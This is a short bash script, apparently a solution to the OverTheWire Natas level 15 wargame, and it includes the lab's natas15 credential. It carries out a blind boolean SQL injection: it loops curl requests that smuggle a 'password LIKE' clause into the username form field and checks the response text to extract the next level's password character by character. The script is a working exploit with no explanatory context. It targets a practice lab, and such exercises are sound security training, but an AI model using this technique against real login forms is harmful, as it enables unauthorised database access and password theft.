natas15.sh

#/usr/bin/env bash

pw="";
again="true";

while [ "$again" = "true" ]; do
    again="false";
    for c in {{A..Z},{a..z},{0..9},+,/,=}; do
        echo "$pw$c%";
        if curl http://natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J@natas15.natas.labs.overthewire.org/index.php --form "username=natas16\" AND password LIKE \"$pw$c%" | grep -q "This user exists"; then
            again="true";
            pw="$pw$c";
            break;
        fi;
    done;
done;